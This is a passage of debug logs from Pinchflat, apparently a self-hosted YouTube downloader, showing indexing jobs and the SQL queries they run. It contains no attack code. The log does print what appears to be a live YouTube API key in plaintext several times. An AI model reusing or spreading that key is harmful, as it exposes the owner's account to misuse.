shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [9] 18:07:45.637 [debug] QUERY OK source="tasks" db=0.1ms idle=178.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800379, 9, ~U[2026-02-11 00:07:45Z], ~U[2026-02-11 00:07:45Z]] 18:07:45.637 [info] {"args":{"id":9},"id":3800341,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":180681,"event":"job:stop","queue_time":430586,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:45.757 [debug] QUERY OK source="media_items" db=0.6ms idle=119.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [8, "8eWLi8Sm0H4", "cz-4H9vUEk4", "wobociFUM1E", "Za9PGELm5UQ", "79OTRGiCElE", "7oA7zyIxBkk", "H_D7GXUeHGo", "x57ds5lx_XI", "LlEL2Hb1VtQ", "4wgW-Fxbf4M", "NQaWtBdlwqI", "NfIuDxt-IyI", "gv__3ei1qb4", "4Pv9afb1HsY", "fSTBcDfNAGk", "b5thWhoEJUc", "11JEyjWPKkM", "abIWwY51RX8", "C8rTYj_jC4A", "xQvQH0GH6GM", "UAF_AGEOMRw", "aq13trnsgq4", "oVsMfMH9D6A", "h4KqzaZnx5U", "gosW702fFg4", "FbZAce_ZO1o", "8FHuMjmBgMQ", "BDjocv-3EKQ", "JT5RkjpgC10", "dtJtrmgl0hA", "ghAuHlrirkg", "VWT-wWxS_zM", "R1-leCEWNy8", "T6hkupYbkFI", "9buHzRb-N7A", "I39f2i-2NCo", "oi0XARbmQeI", "aV8p8MPHnGc", "NmN8sgnz5d0", "INd_nlbLedE", "TFCRLLeCjL0", "PDANwfuB79Q", "5XAh1nDOI6c", "BjhiYa0KsSM", "R4Q1HuXDa6o", "ik_hSkKT0OA", "uCsFBIlEybE", "tPssrCriHkE", "Dhn7oLQPyYI", ...] 18:07:45.758 [debug] QUERY OK source="media_items" db=0.3ms idle=120.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [8] 18:07:45.758 [debug] QUERY OK source="tasks" db=0.0ms idle=115.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800380, 8, ~U[2026-02-11 00:07:45Z], ~U[2026-02-11 00:07:45Z]] 18:07:45.759 [info] {"args":{"id":8},"id":3800340,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":302179,"event":"job:stop","queue_time":534217,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:50.461 [info] {"args":{"id":40},"id":3800342,"meta":{},"system_time":1770768470461757070,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:50.462 [debug] QUERY OK source="sources" db=0.1ms idle=1583.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [40] 18:07:50.462 [debug] QUERY OK source="settings" db=0.1ms idle=1583.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:50.462 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1007.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:07:50.462 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:50.462 [debug] Fetching recent media IDs from YouTube API for playlist: UU7V6hW6xqPAiUfataAZZtWA 18:07:50.462 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:50.462 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 18:07:50.549 [debug] QUERY OK source="media_items" db=0.6ms idle=87.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [40, "g5M9AL95htk", "_d7EmSiMgtQ", "GzGa73A7Ffk", "FLgPJa-pxeI", "BboXiXnvYX4", "jOY6nOpOruM", "nY5Wo5RJeqk", "4-QP9Zs4U_8", "w772tzPzZ9c", "UKe5sYfn5EY", "gvQT7ECCuDU", "7QoryyHW2VY", "OqA1yhu41so", "8Kz9f-UzpX0", "qgdHLj6Xtdo", "BPGbGYYO2eY", "Gik8xyVow0A", "bDum6c8SoRw", "g63zi5h7sSM", "exUUeZSHrMY", "SDVMlDYUgsA", "H5V319xB7WE", "jf2otd0yO5I", "YF9xXeebrCI", "wqTIn6iGJd8", "y3v0uFqgtJM", "iGRSfesAJ4k", "XNeGT_51LKM", "gBy0C2F-q0w", "Olu7GlTkKJU", "1zENw7nCecE", "AnJU-TxeJe0", "JP6u3p6AOIg", "zbhPsblrMT0", "oY3y4IJ3l_w", "3qFWzdhUjSk", "gjiAsn_EV8g", "4pE6u3dWu-0", "0SEzwZ6pGRQ", "4MCrCkm5g9Y", "mQvJiP4Zd1E", "tBG3sf4QnSc", "uZQkRXk2t6o", "uGoQkin-sb8", "wthVwIc9u8s", "QfF3T3TyUnc", "b5TtJHJD0o4", "BueJnc9uOYo", "7Kt4RnUSNvY", ...] 18:07:50.552 [debug] QUERY OK source="media_items" db=2.0ms idle=88.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [40] 18:07:50.553 [debug] QUERY OK source="tasks" db=0.1ms idle=90.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800381, 40, ~U[2026-02-11 00:07:50Z], ~U[2026-02-11 00:07:50Z]] 18:07:50.553 [info] {"args":{"id":40},"id":3800342,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":91800,"event":"job:stop","queue_time":563100,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:51.464 [info] {"args":{"id":2},"id":3800343,"meta":{},"system_time":1770768471463994150,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:51.464 [debug] QUERY OK source="sources" db=0.2ms idle=910.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:07:51.464 [debug] QUERY OK source="settings" db=0.1ms idle=910.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:51.464 [debug] QUERY OK source="media_profiles" db=0.1ms idle=904.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:07:51.465 [debug] QUERY OK source="settings" db=0.0ms idle=7.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:51.465 [debug] Fetching recent media IDs from YouTube API for playlist: UUdBK94H6oZT2Q7l0-b0xmMg 18:07:51.465 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:51.465 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 18:07:51.543 [debug] QUERY OK source="media_items" db=0.7ms idle=78.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "6ZgZNKd6L4w", "k99eZELFMnQ", "SoyXQcmSSDA", "hQDwpXfJXYI", "LRkDQZo_Anw", "sqng2mGejKw", "k9UsDilfbYM", "_cY1rFrNQpE", "7kqvE63fnE4", "jBYgqIPeZ4M", "oIs2ZCcj2Vg", "ck7r7wo829A", "Rv3LJQLMh3U", "LbVz5hXSIKg", "RB7CfRSFjCw", "B9DnrUB4CJM", "ghawYhsGdug", "uQkIZvbbQDA", "4GtFKbysSDY", "Bu671EegYWY", "UYErV4JoFyM", "y_d40V40clo", "7SRjYEHzbX8", "ij2ASG-LSt8", "RGLVdoaD-T0", "bvkgOoZKcwM", "j_2jvyqta0s", "4c63FU_d8T8", "RK2SnHjxGVs", "rA9aiYZOExg", "W8C4Ei0Ykvg", "rvP7or3PPNM", "ZFn-Q-PZtZU", "fwpnuNrSDaI", "ksLlg8f997w", "0RssLJL30h0", "dlW6a17NRew", "dd1TeK-YFuk", "9jBseM65hbs", "QQ49D1E24NM", "1GXzDm8PYp8", "B3P2jc8GX_Y", "ane7B2Q8jbs", "zjmbsU9GD6w", "7Y0UEQ_Jj_c", "clSil9gwZmM", "VKMzpJj8iFo", "j8-OvS8FY0k", "hOIjQTFD_Ss", ...] 18:07:51.546 [debug] QUERY OK source="media_items" db=2.0ms idle=79.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 18:07:51.546 [debug] QUERY OK source="tasks" db=0.1ms idle=81.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800382, 2, ~U[2026-02-11 00:07:51Z], ~U[2026-02-11 00:07:51Z]] 18:07:51.547 [info] {"args":{"id":2},"id":3800343,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":82890,"event":"job:stop","queue_time":563763,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:53.466 [info] {"args":{"id":38},"id":3800344,"meta":{},"system_time":1770768473466759926,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:53.467 [debug] QUERY OK source="sources" db=0.1ms idle=588.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [38] 18:07:53.467 [debug] QUERY OK source="settings" db=0.1ms idle=588.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:53.467 [debug] QUERY OK source="media_profiles" db=0.1ms idle=588.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:07:53.467 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:53.467 [debug] Fetching recent media IDs from YouTube API for playlist: UU04RYGK0kWq2GJH7uKuvdFg 18:07:53.467 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:53.467 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 18:07:53.679 [debug] QUERY OK source="media_items" db=0.6ms idle=212.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [38, "ZtyjAvMIzvs", "ZoadJmKmyVI", "wtPYQdWPea0", "iY_9XEC6mq4", "BWADrQ3CQV4", "XunRKZR1ESc", "dfKW4ZBOaW4", "pD_HukFdNV8", "FJ6nxXlYZac", "FSTfYrqaNgc", "vPg59pmB1Nc", "l5Fl0XIxKfM", "ARwO8ApGMpU", "e7YtjflOT0I", "kl6AlqzF0N0", "VdPv4d0SYvc", "82Lo2Wf3TXM", "qS3cA_cZngc", "g4pJ-Mw53aU", "lbK38r-gV2Q", "U4OyMqmXqpo", "7tASAaMn9hA", "m1miWJTudv4", "VqkxBi1sBG0", "4OuM5mLWQq4", "sgMMljY3oFA", "tXy9epkxt70", "4CLC3yyK09w", "u0OSIl2-53w", "ATDYVHdtpEc", "zDyTHWr1N50", "fQGsTtqzB3Q", "qyCvEerjhnU", "WmFiNcw57o8", "rxhKvzxJgRk", "v3QssL74wA8", "5nKwdMKglm4", "D6xw9bxy3Qg", "rq0urtj1qaM", "qBdYNLq9VCE", "Ibi0y39Aiac", "5Q7ZKetopT4", "NO1V5fR0uH8", "QALB7C5SBSU", "Wq_iFeRsqTo", "3ro8TFTmYyA", "3Oa-9oelGWM", "ldsSZydyJds", "FQRm3QbUWG0", ...] 18:07:53.682 [debug] QUERY OK source="media_items" db=1.6ms idle=213.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [38] 18:07:53.682 [debug] QUERY OK source="tasks" db=0.1ms idle=214.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800383, 38, ~U[2026-02-11 00:07:53Z], ~U[2026-02-11 00:07:53Z]] 18:07:53.683 [info] {"args":{"id":38},"id":3800344,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":216130,"event":"job:stop","queue_time":326383,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:55.469 [info] {"args":{"id":41},"id":3800345,"meta":{},"system_time":1770768475469686482,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:55.470 [debug] QUERY OK source="sources" db=0.2ms idle=591.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [41] 18:07:55.470 [debug] QUERY OK source="settings" db=0.1ms idle=591.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:55.470 [debug] QUERY OK source="media_profiles" db=0.1ms idle=592.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", 